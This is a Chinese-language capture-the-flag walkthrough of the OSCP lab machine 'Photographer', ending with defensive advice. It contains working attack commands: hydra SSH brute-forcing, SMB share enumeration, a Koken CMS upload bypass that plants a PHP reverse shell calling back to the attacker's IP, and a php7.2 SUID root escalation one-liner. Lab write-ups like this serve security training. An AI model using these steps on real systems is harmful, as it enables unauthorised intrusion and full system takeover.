从WEB到内网&&信息收集&&SMB枚举&&SUID提权-------打靶经验分享
字数 1497 2025-08-10 13:48:29
OSCP靶机Photographer渗透测试实战教学
靶机概述
- 难度:中等偏高
- 目标:获取两个flag(用户flag和root flag)
- 涉及技术点:
- 端口与服务探测
- SSH爆破
- SMB枚举
- 文件上传绕过
- SUID提权
环境准备
- 攻击机IP:192.168.45.248
- 靶机IP:192.168.152.76
- 使用工具:OpenVPN、nmap、hydra、smbclient、enum4linux、dirsearch、Burp Suite、nc等
信息收集阶段
1. 端口扫描
使用nmap进行快速扫描:
nmap --min-rate 10000 -p- 192.168.152.76
发现开放端口:
- 22/tcp: OpenSSH 7.2p2 Ubuntu
- 80/tcp: Apache httpd 2.4.18
- 139/tcp: Samba smbd 3.X - 4.X
- 445/tcp: Samba smbd 3.X - 4.X
- 8000/tcp: Apache httpd 2.4.18
详细版本信息:
nmap -sV -p22,80,139,445,8000 192.168.152.76
2. 各端口详细测试
2.1 SSH端口(22)
- 版本:OpenSSH 7.2p2 Ubuntu
- 检查可利用漏洞:
searchsploit OpenSSH 7.2
发现用户枚举漏洞,但暂不使用
- 测试SSH登录:
ssh root@192.168.152.76 -v
发现支持密钥和密码登录
- 尝试弱口令爆破:
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.152.76 ssh -s 22
未爆破成功
2.2 HTTP服务(80)
- 访问主页:
curl http://192.168.152.76
- 识别CMS:
whatweb http://192.168.152.76/
疑似Photographer CMS,但无相关漏洞
- 目录扫描:
dirsearch -u http://192.168.152.76/
发现:
- /assets/ - 静态资源
- /images/ - 目录遍历,仅包含图片
2.3 SMB服务(445)
- 列出共享:
smbclient -L //192.168.152.76
发现sambashare共享
- 访问共享:
smbclient //192.168.152.76/sambashare -U root
发现文件:
-
mailsent.txt
-
wordpress.bkp.zip(太大无法下载)
-
获取并分析mailsent.txt:
get mailsent.txt
cat mailsent.txt
内容显示:
-
发件人:agi@photographer.com
-
收件人:daisa@photographer.com
-
密码提示:"my babygril"
-
用户枚举:
enum4linux 192.168.152.76
2.4 HTTP服务(8000)
- 访问服务:
curl http://192.168.152.76:8000
- 识别CMS:
whatweb 192.168.152.76:8000/
发现Koken 0.22.24
- 查找漏洞:
searchsploit Koken 0.22.24
发现任意文件上传漏洞(48706.txt)
- 目录扫描:
dirsearch -u http://192.168.152.76:8000/ -x 302,403
发现/admin登录页面
攻击阶段
1. 利用Koken CMS漏洞
-
登录后台:
- 用户名:daisa@photographer.com
- 密码:babygril(来自mailsent.txt提示)
-
准备反弹shell:
cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php.jpg
- 修改shell配置:
sed -i '49s/127.0.0.1/192.168.45.248/' shell.php.jpg
sed -i '50s/1234/6666/' shell.php.jpg
- 设置监听:
nc -lvvp 6666
-
使用Burp Suite上传文件:
- 上传shell.php.jpg
- 拦截请求修改为shell.php
- 获取上传路径
-
触发shell:
curl http://192.168.152.76:8000/storage/originals/d2/eb/shell.php
2. 获取初始shell后操作
- 升级交互式shell:
python -c "import pty;pty.spawn('/bin/bash')"
- 获取用户flag:
find / -name local.txt 2>/dev/null
cat /home/daisa/local.txt
提权阶段
1. 尝试多种提权方法
- 内核overlayfs提权:
lsb_release -a
Ubuntu 16.04,不适用
- 低内核版本提权:
uname -a
内核版本4.15.0,不适用
- sudo提权:
sudo -l
需要密码
2. SUID提权
- 查找SUID文件:
find / -perm -u=s -type f 2>/dev/null
发现php7.2具有SUID权限
- 利用php7.2提权:
php7.2 -r "pcntl_exec('/bin/sh', ['-p']);"
- 获取root flag:
cat /root/proof.txt
关键知识点总结
- SMB枚举:通过smbclient和enum4linux获取共享信息和潜在凭据
- CMS漏洞利用:通过识别CMS版本查找已知漏洞
- 文件上传绕过:修改文件扩展名绕过限制
- SUID提权:查找具有SUID权限的可执行文件并利用其提权
- 信息收集:从各种服务中收集潜在凭据和提示信息
防御建议
- 及时更新CMS和系统组件
- 限制SMB共享的匿名访问
- 避免使用弱密码或可猜测密码
- 严格控制SUID权限设置
- 实施文件上传白名单验证